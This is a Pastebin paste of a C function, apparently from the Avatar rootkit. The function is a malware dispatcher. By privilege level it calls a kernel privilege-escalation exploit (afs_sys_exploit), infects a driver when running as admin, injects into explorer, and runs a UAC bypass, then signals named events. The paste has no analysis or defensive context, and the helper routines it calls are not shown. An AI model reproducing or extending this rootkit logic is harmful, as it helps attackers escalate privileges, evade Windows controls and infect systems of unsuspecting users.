Advertisement
Guest User

Untitled

a guest
Mar 28th, 2017
44
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.89 KB | None | 0 0
  1. DWORD WINAPI Avtr_ThreadProc( pavtr_listelem Elem )
  2. {
  3. if ( !Elem )
  4. return 1;
  5. if ( Elem->technique == 0x80000000 )
  6. {
  7. if ( Avtr_getKernelRoutines() )
  8. {
  9. int priv_value = Elem->privilege_value;
  10. if ( ! --priv_value ) //1 => ordinary user
  11. {
  12. if ( KeAcquireInStackQueuedSpinLock )
  13. afs_sys_exploit();
  14. }
  15. else if ( ! --priv_value ) //2 => admin
  16. {
  17. Avtr_AdminInfectDriver();
  18. }
  19. }
  20. return 0;
  21. }
  22. else if ( Elem->technique == 0x80000001 )
  23. {
  24. Avtr_inject_explorer(Elem);
  25. }
  26. else if ( Elem->technique == 0x80000002 )
  27. {
  28. /*Executed only if Avatar is compiled as a DLL*/
  29. LPWSTR ModuleFileName = Avtr_Structure->Mem + 0x120;
  30. Avtr_UAC_bypass(ModuleFileName);
  31. HANDLE hEvent = CreateEventA(NULL,TRUE,FALSE,Global_17);
  32. SetEvent(hEvent);
  33. }
  34. HANDLE hEvent = CreateEventA(NULL,FALSE,FALSE,Global_03);
  35. if ( hEvent )
  36. {
  37. SetEvent(hEvent);
  38. CloseHandle(hEvent);
  39. }
  40. return 0;
  41. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement